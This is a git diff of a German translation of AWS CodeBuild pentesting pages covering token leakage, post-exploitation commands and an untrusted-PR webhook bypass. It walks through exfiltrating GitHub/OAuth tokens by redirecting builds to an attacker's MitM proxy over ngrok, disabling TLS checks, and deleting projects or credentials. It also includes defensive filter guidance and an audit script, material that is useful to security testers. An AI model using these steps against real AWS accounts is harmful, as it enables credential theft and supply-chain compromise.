Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

2026-07-28 22:51:09 -07:00 · 2026-02-03 12:51:49 +00:00
parent 9853209889
commit 65276d8a20
3 changed files with 301 additions and 67 deletions
@@ -10,37 +10,37 @@ Für weitere Informationen, siehe:
 ../../aws-services/aws-codebuild-enum.md
 {{#endref}}

-### Überprüfen von Geheimnissen
+### Check Secrets

-Wenn Anmeldeinformationen in Codebuild festgelegt wurden, um sich mit Github, Gitlab oder Bitbucket in Form von persönlichen Tokens, Passwörtern oder OAuth-Token-Zugriff zu verbinden, **werden diese Anmeldeinformationen als Geheimnisse im Geheimnismanager gespeichert**.\
-Daher, wenn Sie Zugriff auf den Geheimnismanager haben, können Sie diese Geheimnisse abrufen und zu der verbundenen Plattform pivotieren.
+Wenn Anmeldeinformationen in CodeBuild eingerichtet wurden, um sich mit Github, Gitlab oder Bitbucket in Form von personal tokens, Passwörtern oder OAuth token access zu verbinden, werden diese **credentials als secrets im secret manager gespeichert**.\
+Wenn du also Zugriff zum Lesen des secret manager hast, kannst du diese secrets abrufen und zum verbundenen Platform pivoten.

 {{#ref}}
 ../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
 {{#endref}}

-### Missbrauch des CodeBuild-Repo-Zugriffs
+### Abuse CodeBuild Repo Access

-Um **CodeBuild** zu konfigurieren, benötigt es **Zugriff auf das Code-Repo**, das es verwenden wird. Mehrere Plattformen könnten diesen Code hosten:
+Um **CodeBuild** zu konfigurieren, benötigt es **Zugriff auf das Code-Repo**, das es verwenden soll. Mehrere Plattformen könnten diesen Code hosten:

 <figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>

-Das **CodeBuild-Projekt muss Zugriff** auf den konfigurierten Quellanbieter haben, entweder über **IAM-Rolle** oder mit einem Github/Bitbucket **Token oder OAuth-Zugriff**.
+Das **CodeBuild project must have access** zum konfigurierten source provider, entweder via **IAM role** oder mit einem github/bitbucket **token oder OAuth access**.

-Ein Angreifer mit **erhöhten Berechtigungen in einem CodeBuild** könnte diesen konfigurierten Zugriff missbrauchen, um den Code des konfigurierten Repos und anderer, auf die die festgelegten Anmeldeinformationen Zugriff haben, zu leaken.\
-Um dies zu tun, müsste ein Angreifer nur die **Repository-URL auf jedes Repo ändern, auf das die konfigurierten Anmeldeinformationen Zugriff haben** (beachten Sie, dass die AWS-Webseite alle für Sie auflistet):
+Ein Angreifer mit **elevated permissions over a CodeBuild** könnte diesen konfigurierten Zugriff missbrauchen, um den Code des konfigurierten Repos und anderer Repos zu leak, auf die die gesetzten creds Zugriff haben.\
+Dazu müsste ein Angreifer lediglich die **repository URL auf jedes Repo ändern, auf das die konfigurierten credentials Zugriff haben** (beachte, dass die aws web alle für dich auflisten wird):

 <figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>

-Und **die Buildspec-Befehle ändern, um jedes Repo zu exfiltrieren**.
+Und **die Buildspec commands ändern, um jedes Repo zu exfiltrate**.

 > [!WARNING]
-> Diese **Aufgabe ist jedoch repetitiv und mühsam** und wenn ein Github-Token mit **Schreibberechtigungen** konfiguriert wurde, **kann ein Angreifer diese Berechtigungen nicht (miss)brauchen**, da er keinen Zugriff auf das Token hat.\
-> Oder doch? Überprüfen Sie den nächsten Abschnitt
+> Allerdings ist diese **Aufgabe repetitiv und mühsam** und wenn ein github token mit **write permissions** konfiguriert wurde, wird ein Angreifer **diese Berechtigungen nicht (ab)use können**, da er keinen Zugriff auf den token hat.\
+> Oder doch? Sieh dir den nächsten Abschnitt an

-### Zugriffstoken von AWS CodeBuild leaken
+### Leaking Access Tokens from AWS CodeBuild

-Sie können den Zugriff, der in CodeBuild auf Plattformen wie Github gewährt wurde, leaken. Überprüfen Sie, ob Zugriff auf externe Plattformen gewährt wurde mit:
+You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
 ```bash
 aws codebuild list-source-credentials
 ```
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
 aws-codebuild-token-leakage.md
 {{#endref}}

+### Untrusted PR execution via webhook filter misconfiguration
+
+Wenn webhook-Filter schwach sind, können externe Angreifer ihre PRs in privilegierten CodeBuild-Projekten bauen lassen und anschließend beliebigen Code in CI ausführen.
+
+{{#ref}}
+aws-codebuild-untrusted-pr-webhook-bypass.md
+{{#endref}}
+
 ### `codebuild:DeleteProject`

-Ein Angreifer könnte ein gesamtes CodeBuild-Projekt löschen, was zu einem Verlust der Projektkonfiguration führt und Anwendungen beeinträchtigt, die auf das Projekt angewiesen sind.
+Ein Angreifer könnte ein komplettes CodeBuild-Projekt löschen, wodurch die Projektkonfiguration verloren geht und Anwendungen, die auf das Projekt angewiesen sind, beeinträchtigt werden.
 ```bash
 aws codebuild delete-project --name <value>
 ```
-**Potenzielle Auswirkungen**: Verlust der Projektkonfiguration und Dienstunterbrechung für Anwendungen, die das gelöschte Projekt verwenden.
+**Mögliche Auswirkungen**: Verlust der Projektkonfiguration und Dienstunterbrechung für Anwendungen, die das gelöschte Projekt verwenden.

 ### `codebuild:TagResource` , `codebuild:UntagResource`

-Ein Angreifer könnte Tags von CodeBuild-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde.
+Ein Angreifer könnte tags zu CodeBuild-Ressourcen hinzufügen, ändern oder entfernen und dadurch die Kostenaufteilung, die Ressourcenverfolgung und die auf tags basierenden Zugriffskontrollrichtlinien Ihrer Organisation stören.
 ```bash
 aws codebuild tag-resource --resource-arn <value> --tags <value>
 aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
 ```
-**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien.
+**Potentielle Auswirkungen**: Beeinträchtigung der Kostenallokation, der Ressourcenverfolgung und der tag-basierten Zugriffskontrollrichtlinien.

 ### `codebuild:DeleteSourceCredentials`

-Ein Angreifer könnte die Quellanmeldeinformationen für ein Git-Repository löschen, was die normale Funktionsweise von Anwendungen beeinträchtigt, die auf das Repository angewiesen sind.
+Ein Angreifer könnte Quell-Anmeldeinformationen für ein Git-Repository löschen, wodurch die normale Funktionalität von Anwendungen beeinträchtigt wird, die auf dieses Repository angewiesen sind.
 ```sql
 aws codebuild delete-source-credentials --arn <value>
 ```
-**Potenzielle Auswirkungen**: Störung der normalen Funktion von Anwendungen, die auf das betroffene Repository angewiesen sind, aufgrund der Entfernung von Quellanmeldeinformationen.
+**Mögliche Auswirkungen**: Beeinträchtigung der normalen Funktionsweise von Anwendungen, die auf das betroffene Repository angewiesen sind, aufgrund der Entfernung der Quellzugangsdaten.

 {{#include ../../../../banners/hacktricks-training.md}}
@@ -2,47 +2,47 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-## Wiederherstellen konfigurierter Tokens für Github/Bitbucket
+## Wiederherstellen konfigurierter Github/Bitbucket Tokens

-Prüfe zuerst, ob Quell-Credentials konfiguriert sind, die du leak könntest:
+Prüfe zuerst, ob source credentials konfiguriert sind, die du leaken könntest:
 ```bash
 aws codebuild list-source-credentials
 ```
-### Über Docker Image
+### Über Docker-Image

-Wenn du feststellst, dass z. B. eine Authentifizierung für Github im Account konfiguriert ist, kannst du dieses **exfiltrate** dieses **access** (**GH token or OAuth token**) erreichen, indem du Codebuild ein bestimmtes Docker image verwenden lässt, um den Build des Projekts auszuführen.
+Wenn Sie feststellen, dass beispielsweise eine Authentifizierung zu Github im Account eingerichtet ist, können Sie diesen **exfiltrate** **access** (**GH token oder OAuth token**) erlangen, indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image für den Build des Projekts **zu verwenden**.

-Zu diesem Zweck kannst du ein **neues Codebuild project** erstellen oder die **environment** eines bestehenden ändern, um das **Docker image** zu setzen.
+Zu diesem Zweck können Sie ein neues **Codebuild project** erstellen oder die **environment** eines bestehenden ändern, um das **Docker image** festzulegen.

-Das Docker image, das du verwenden könntest, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker image, das die **env variables `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** setzt. Dadurch kannst du den Großteil des Traffics des Hosts, der in **`https_proxy`** und **`http_proxy`** angegeben ist, abfangen und dem SSL CERT vertrauen, das in **`SSL_CERT_FILE`** angegeben ist.
+Das Docker-Image, das Sie verwenden können, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die **env variables `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** setzt. Damit können Sie den Großteil des Verkehrs des Hosts, der in **`https_proxy`** und **`http_proxy`** angegeben ist, abfangen und dem in **`SSL_CERT_FILE`** angegebenen SSL-Zertifikat vertrauen.

-1. **Erstelle & lade dein eigenes Docker MitM image hoch**
- Folge den Anweisungen des Repos, um deine Proxy-IP-Adresse und dein SSL-Zertifikat zu setzen und das **Docker image zu bauen**.
- **DO NOT SET `http_proxy`** damit Anfragen an den Metadata-Endpunkt nicht abgefangen werden.
- Du kannst **`ngrok`** z. B. mit `ngrok tcp 4444` verwenden, um den Proxy auf deinen Host zu setzen.
- Sobald du das Docker image gebaut hast, **lade es in ein öffentliches Repo hoch** (Dockerhub, ECR...)
-2. **Set the environment**
- Erstelle ein **neues Codebuild project** oder **modifiziere** die environment eines bestehenden.
- Setze das Projekt so, dass es das **zuvor erzeugte Docker image** verwendet.
+1. **Erstellen & Hochladen Ihres eigenen Docker MitM-Images**
+- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse und Ihr SSL-Zertifikat zu konfigurieren und das Docker-Image zu bauen.
+- **DO NOT SET `http_proxy`** um Anfragen an den Metadata-Endpunkt nicht abzufangen.
+- Sie können **`ngrok`** verwenden, z.B. `ngrok tcp 4444`, um den Proxy auf Ihren Host zu setzen
+- Sobald Sie das Docker-Image gebaut haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...)
+2. **Environment festlegen**
+- Erstellen Sie ein **neues Codebuild project** oder **ändern** Sie die Environment eines bestehenden.
+- Konfigurieren Sie das Projekt so, dass es das **zuvor erzeugte Docker-Image** verwendet

 <figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>

-3. **Set the MitM proxy in your host**
+3. **MitM-Proxy auf Ihrem Host einrichten**

- Wie im **Github repo** angegeben, kannst du etwas wie folgendes verwenden:
+- Wie im **Github repo** angegeben, können Sie so etwas verwenden wie:
 ```bash
 mitmproxy --listen-port 4444  --allow-hosts "github.com"
 ```
 > [!TIP]
 > Die **mitmproxy-Version war 9.0.1**, es wurde berichtet, dass es mit Version 10 möglicherweise nicht funktioniert.

-4. **Build ausführen & Zugangsdaten abfangen**
+4. **Build ausführen & Zugangsdaten erfassen**

- Sie können den token im **Authorization**-Header sehen:
+- Sie können das Token im **Authorization**-Header sehen:

 <figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>

-Das kann auch mit dem aws cli etwa so gemacht werden:
+Das kann auch über die aws cli mit etwas wie dem folgenden Befehl gemacht werden:
 ```bash
 # Create project using a Github connection
 aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
 ```
 ### Über insecureSSL

-**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die in der Weboberfläche versteckt ist und die man nur über die **API** ändern kann.\
-Wenn man diese aktiviert, erlaubt das Codebuild, eine Verbindung zum Repository **ohne das von der Plattform angebotene Zertifikat zu prüfen**.
+**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die im Web verborgen ist; sie kann nur über die API geändert werden.\
+Wenn diese aktiviert ist, kann Codebuild eine Verbindung zum Repository herstellen, **ohne das von der Plattform bereitgestellte Zertifikat zu prüfen**.

- Zuerst musst du die aktuelle Konfiguration mit etwas wie folgendem auflisten:
+- Zuerst müssen Sie die aktuelle Konfiguration enumerate, z. B. mit:
 ```bash
 aws codebuild batch-get-projects --name <proj-name>
 ```
- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** setzen. Das folgende ist ein Beispiel, wie ich ein Projekt aktualisiere; beachte **`insecureSsl=True`** am Ende (das ist das Einzige, was du an der gesammelten Konfiguration ändern musst).
- Füge außerdem die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf deinen tcp ngrok zeigen, z. B.:
+- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel, wie ich ein Projekt aktualisiere, beachte das **`insecureSsl=True`** am Ende (das ist das Einzige, das du an der gesammelten Konfiguration ändern musst).
+- Außerdem füge die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf dein tcp ngrok zeigen, z. B.:
 ```bash
 aws codebuild update-project --name <proj-name> \
 --source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
 ]
 }'
 ```
- Dann führe das einfache Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, der durch die Proxy-Variablen (http_proxy und https_proxy) angegeben ist.
+- Dann führe das einfache Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen.
 ```python
 from mitm import MITM, protocol, middleware, crypto

@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
- Klicke abschließend auf **Build the project**, die **credentials** werden im Klartext (base64) an den mitm-Port gesendet:
+- Schließlich klicke auf **Build the project**, die **credentials** werden im **Klartext** (base64) an den mitm-Port gesendet:

 <figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>

-### ~~Über HTTP protocol~~
+### ~~Über das HTTP-Protokoll~~

-> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20th of Feb of 2023 behoben (ich glaube am Friday). Daher kann ein Angreifer sie nicht mehr ausnutzen :)**
+> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Feb of 2023 behoben (ich glaube am Freitag). Daher kann ein Angreifer sie nicht mehr ausnutzen :)**

-Ein Angreifer mit **erhöhten Berechtigungen in einem CodeBuild** könnte das konfigurierte Github/Bitbucket token leaken oder, falls die Berechtigungen via OAuth konfiguriert wurden, das **temporäre OAuth token, das zum Zugriff auf den Code verwendet wird**.
+Ein Angreifer mit **elevated permissions** in einem **CodeBuild** könnte das konfigurierte Github/Bitbucket token leak oder, falls die Berechtigungen via **OAuth** konfiguriert wurden, das **temporary OAuth token used to access the code**.

 - Ein Angreifer könnte die Umgebungsvariablen **http_proxy** und **https_proxy** zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel `http://5.tcp.eu.ngrok.io:14972`).

@@ -144,8 +144,8 @@ Ein Angreifer mit **erhöhten Berechtigungen in einem CodeBuild** könnte das ko

 <figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>

- Dann ändere die URL des github repo, sodass HTTP statt HTTPS verwendet wird, zum Beispiel: `http://github.com/carlospolop-forks/TestActions`
- Führe dann das Basisbeispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen.
+- Dann ändere die URL des github-Repo, um HTTP statt HTTPS zu verwenden, zum Beispiel: `http://github.com/carlospolop-forks/TestActions`
+- Dann führe das Basisbeispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen
 ```python
 from mitm import MITM, protocol, middleware, crypto

@@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
- Als Nächstes klicken Sie auf **Build the project** oder starten Sie den Build über die Kommandozeile:
+- Klicken Sie anschließend auf **Build starten** oder starten Sie den Build über die Befehlszeile:
 ```sh
 aws codebuild start-build --project-name <proj-name>
 ```
- Abschließend werden die **credentials** im **Klartext** (base64) an den mitm port gesendet:
+- Schließlich werden die **credentials** im **Klartext** (base64) an den mitm-Port gesendet:

 <figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>

 > [!WARNING]
-> Ein Angreifer kann nun das Token von seinem Rechner aus verwenden, alle Berechtigungen auflisten, die es hat, und es einfacher (miss)brauchen, als den CodeBuild-Service direkt zu nutzen.
+> Nun kann ein attacker das token von seiner Maschine verwenden, alle privileges auflisten und diese leichter (ab)use, als den CodeBuild-Service direkt zu nutzen.

-## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
+## Untrusted PR execution via webhook filter misconfiguration

-Falsch konfigurierte CodeBuild-GitHub-Webhooks, die unanchored `ACTOR_ID`-Regexes verwenden, erlauben es *nicht vertrauenswürdigen* PRs, privilegierte Builds zu starten. Wenn die allowlist z. B. `123456|7890123` ohne `^`/`$` ist, stimmt jede ID, die einen dieser Substrings enthält. Da GitHub-Benutzer-IDs sequentiell sind, kann ein Angreifer darum wetteifern, eine „eclipsing“ ID (einen Superstring einer vertrauenswürdigen ID) zu registrieren und so den Build auszulösen.
+Für die PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), siehe:

-**Exploit path**
-
-1. Finde öffentliche CodeBuild-Projekte, die webhook filters exponieren, und extrahiere eine unanchored `ACTOR_ID` allowlist.
-2. Erlange eine eclipsing GitHub-ID:
- Sample den globalen ID-Zähler, indem du GitHub orgs erstellst/löschst (org IDs teilen sich den Pool).
- Pre-stage viele GitHub App manifest-Erstellungen und rufe die confirmation URLs auf, wenn der Zähler sich innerhalb von ~100 IDs des Ziels befindet, um in einem Schub eine Bot-ID zu registrieren, die das vertrauenswürdige Substring enthält.
-3. Öffne eine PR von dem eclipsing Account; der Regex findet den Substring und der privilegierte Build wird ausgeführt.
-4. Nutze Build RCE (z. B. dependency install hooks), um den Prozessspeicher zu dumpen, der die GitHub-Anmeldeinformationen verarbeitet, und das PAT/OAuth-Token wiederherzustellen.
-5. Mit dem Token mit `repo`-Scope lade dein Konto als collaborator/admin ein und pushe/genehmige bösartige Commits oder exfiltriere Secrets.
-
-## References
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
+{{#ref}}
+aws-codebuild-untrusted-pr-webhook-bypass.md
+{{#endref}}

 {{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,235 @@
+# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Dieser Angriffsvektor tritt auf, wenn ein **öffentlich zugänglicher PR-Workflow** mit einem **privilegierten CodeBuild-Projekt** verbunden ist, das schwache Webhook-Kontrollen hat.
+
+Wenn ein externer Angreifer CodeBuild dazu bringen kann, seine Pull Request auszuführen, kann er in der Regel eine **beliebige Codeausführung im Build** (Build-Skripte, Dependency-Hooks, Testskripte usw.) erreichen und anschließend auf Geheimnisse, IAM-Anmeldeinformationen oder Source-Provider-Anmeldeinformationen pivotieren.
+
+## Warum das gefährlich ist
+
+CodeBuild-Webhooks werden für Nicht-`EVENT`-Filter mit Regex-Pattern ausgewertet. Im `ACTOR_ACCOUNT_ID`-Filter bedeutet das, dass ein schwaches Pattern mehr Benutzer matchen kann als beabsichtigt.
+Wenn unvertrauenswürdige PRs in einem Projekt gebaut werden, das privilegierte AWS-Rollenberechtigungen oder GitHub-Zugangsdaten besitzt, kann dies zu einer vollständigen Supply-Chain-Kompromittierung führen.
+
+Wiz zeigte eine praktische Angriffskette, bei der:
+
+1. Eine Webhook-Actor-Allowlist einen **unverankerten Regex** verwendete.
+2. Ein Angreifer eine GitHub-ID registrierte, die als **Superstring** einer vertrauenswürdigen ID matchte.
+3. Eine bösartige PR CodeBuild auslöste.
+4. Die Ausführung von Build-Code genutzt wurde, um Speicher auszudumpen und Source-Provider-Anmeldeinformationen/Token wiederherzustellen.
+
+## Fehlkonfigurationen, die externe PR-Codeausführung ermöglichen
+
+Im Folgenden sind hochriskante Fehler und wie Angreifer jeden einzelnen ausnutzen:
+
+1. **`EVENT`-Filter erlauben nicht vertrauenswürdige Trigger**
+- Häufig riskante Events: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
+- Andere Events, die gefährlich werden können, wenn sie mit privilegierten Builds verknüpft sind: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
+- Schlecht: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` in einem privilegierten Projekt.
+- Besser: PR-Kommentar-Approval verwenden und Trigger-Events für privilegierte Projekte minimieren.
+- Missbrauch: Angreifer öffnet/aktualisiert eine PR oder pusht in einen von ihnen kontrollierten Branch, und ihr Code wird in CodeBuild ausgeführt.
+
+2. **`ACTOR_ACCOUNT_ID`-Regex ist schwach**
+- Schlecht: unverankerte Muster wie `123456|7890123`.
+- Besser: exakte Anchoring-Übereinstimmung `^(123456|7890123)$`.
+- Missbrauch: Regex-Overmatch erlaubt nicht autorisierten GitHub-IDs, Allowlists zu passieren.
+
+3. **Andere Regex-Filter sind schwach oder fehlen**
+- `HEAD_REF`
+- Schlecht: `refs/heads/.*`
+- Besser: `^refs/heads/main$` (oder eine explizite Liste vertrauenswürdiger Branches)
+- `BASE_REF`
+- Schlecht: `.*`
+- Besser: `^refs/heads/main$`
+- `FILE_PATH`
+- Schlecht: keine Pfad-Einschränkungen
+- Besser: riskante Dateien ausschließen wie `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
+- `COMMIT_MESSAGE`
+- Schlecht: Trust-Marker mit losem Match wie `trusted`
+- Besser: Verwenden Sie die Commit-Nachricht nicht als Vertrauensgrenze für die Ausführung von PRs
+- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
+- Schlecht: `.*` in org/global Webhooks
+- Besser: nur exakte Repo/Org-Übereinstimmungen
+- `WORKFLOW_NAME`
+- Schlecht: `.*`
+- Besser: nur exakte Workflow-Namen (oder dieses Feld nicht als Vertrauenskontrolle verwenden)
+- Missbrauch: Angreifer konstruiert Ref/Path/Message/Repo-Kontext so, dass permissive Regexes erfüllt werden und Builds ausgelöst werden.
+
+4. **`excludeMatchedPattern` wird falsch verwendet**
+- Das Setzen dieses Flags kann bei falscher Nutzung die beabsichtigte Logik invertieren.
+- Schlecht: `FILE_PATH '^buildspec\\.yml$'` mit `excludeMatchedPattern=false`, obwohl beabsichtigt war, buildspec-Änderungen zu blockieren.
+- Besser: dasselbe Pattern mit `excludeMatchedPattern=true`, um Builds zu verweigern, die `buildspec.yml` betreffen.
+- Missbrauch: Verteidiger denken, sie verweigern riskante Events/Pfade/Actor, aber sie erlauben sie tatsächlich.
+
+5. **Mehrere `filterGroups` erzeugen unbeabsichtigte Bypässe**
+- CodeBuild wertet Gruppen als OR aus (eine bestehende Gruppe reicht aus).
+- Schlecht: eine strenge Gruppe + eine permissive Fallback-Gruppe (z. B. nur `EVENT=PULL_REQUEST_UPDATED`).
+- Besser: entferne Fallback-Gruppen, die keine Actor-/Ref-/Path-Einschränkungen durchsetzen.
+- Missbrauch: Der Angreifer muss nur die schwächste Gruppe erfüllen.
+
+6. **Kommentar-Approval-Gate deaktiviert oder zu permissiv**
+- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` ist am unsichersten.
+- Zu breit gefasste Approver-Rollen reduzieren die Kontrolle.
+- Schlecht: `requiresCommentApproval=DISABLED`.
+- Besser: `ALL_PULL_REQUESTS` oder `FORK_PULL_REQUESTS` mit minimalen Approver-Rollen.
+- Missbrauch: Fork/Drive-by-PRs laufen automatisch ohne Approval eines vertrauenswürdigen Maintainers.
+
+7. **Keine restriktive Branch-/Pfad-Strategie für PR-Builds**
+- Fehlende Defense-in-Depth mit `HEAD_REF` + `BASE_REF` + `FILE_PATH`.
+- Schlecht: nur `EVENT` + `ACTOR_ACCOUNT_ID`, keine Ref/Path-Kontrollen.
+- Besser: exakte `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` Einschränkungen kombinieren.
+- Missbrauch: Angreifer verändert Build-Inputs (buildspec/CI/Dependencies) und erlangt beliebige Befehlsausführung.
+
+8. **Öffentliche Sichtbarkeit + Offenlegung der Status-URL**
+- Öffentliche Build-/Check-URLs verbessern die Recon-Fähigkeit des Angreifers und erleichtern iteratives Testen.
+- Schlecht: `projectVisibility=PUBLIC_READ` mit sensiblen Logs/Configs in öffentlichen Builds.
+- Besser: Projekte privat halten, sofern kein starker Business-Need besteht, und Logs/Artefakte bereinigen.
+- Missbrauch: Angreifer entdeckt Projektmuster/-verhalten und verfeinert Payloads und Bypass-Versuche.
+
+## Token leakage from memory
+
+Wiz' Write-up erklärt, dass Source-Provider-Anmeldeinformationen im Build-Runtime-Kontext vorhanden sind und nach einer Build-Kompromittierung gestohlen werden können (zum Beispiel durch Memory-Dumping), was bei breiten Berechtigungen eine Übernahme des Repositories ermöglicht.
+
+AWS führte nach der Offenlegung Härtungsmaßnahmen ein, aber die Kernlektion bleibt: **Führe niemals unvertrauenswürdigen PR-Code in privilegierten Build-Kontexten aus** und gehe davon aus, dass vom Angreifer kontrollierter Build-Code versuchen wird, Anmeldeinformationen zu stehlen.
+
+Für zusätzliche Techniken zum Diebstahl von Anmeldeinformationen in CodeBuild siehe auch:
+
+{{#ref}}
+aws-codebuild-token-leakage.md
+{{#endref}}
+
+## Finding CodeBuild URLs in GitHub PRs
+
+Wenn CodeBuild den Commit-Status an GitHub zurückmeldet, erscheint die CodeBuild-Build-URL normalerweise in:
+
+1. **PR page** -> **Checks** tab (oder die Statuszeile in Conversation/Commits).
+2. **Commit page** -> Status/Checks-Bereich -> **Details**-Link.
+3. **PR commits list** -> klicke auf den Check-Kontext, der an einen Commit angehängt ist.
+
+Bei öffentlichen Projekten kann dieser Link Build-Metadaten/-Konfigurationen für nicht authentifizierte Benutzer offenlegen.
+
+<details>
+<summary>Skript: CodeBuild-URLs in einer PR erkennen und testen, ob sie öffentlich aussehen</summary>
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Usage:
+#   ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
+#
+# Requirements: gh, jq, curl
+
+OWNER="${1:?owner}"
+REPO="${2:?repo}"
+PR="${3:?pr_number}"
+
+for bin in gh jq curl timeout; do
+command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
+done
+
+tmp_commits="$(mktemp)"
+tmp_urls="$(mktemp)"
+trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
+
+gh_api() {
+timeout 20s gh api "$@" 2>/dev/null || true
+}
+
+# Get all commit SHAs in the PR (bounded call to avoid hangs)
+gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
+if [ ! -s "$tmp_commits" ]; then
+echo "[!] No commits found (or API call timed out/failed)." >&2
+exit 1
+fi
+
+echo "[*] PR commits:"
+cat "$tmp_commits"
+echo
+
+echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
+
+while IFS= read -r sha; do
+[ -z "$sha" ] && continue
+
+# Classic commit statuses (target_url)
+gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
+--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
+
+# GitHub Checks API (details_url)
+gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
+--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
+done < "$tmp_commits" | sort -u > "$tmp_urls"
+
+grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
+
+echo
+echo "[*] Public-access heuristic:"
+echo "    - If URL redirects to signin.aws.amazon.com -> likely not public"
+echo "    - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
+echo
+
+cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
+if [ -z "$cb_urls" ]; then
+echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
+exit 0
+fi
+
+while IFS= read -r url; do
+[ -z "$url" ] && continue
+final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
+code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
+
+if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
+verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
+elif [ "$code" = "200" ]; then
+verdict="POTENTIALLY_PUBLIC"
+else
+verdict="UNKNOWN_CHECK_MANUALLY"
+fi
+
+printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
+done <<< "$cb_urls"
+```
+Getestet mit:
+```bash
+bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
+```
+</details>
+
+## Schnelle Audit-Checkliste
+```bash
+# Enumerate projects
+aws codebuild list-projects
+
+# Inspect source/webhook configuration
+aws codebuild batch-get-projects --names <project-name>
+
+# Inspect global source credentials configured in account
+aws codebuild list-source-credentials
+```
+Prüfe jedes Projekt auf:
+
+- `webhook.filterGroups` die PR-Ereignisse enthalten.
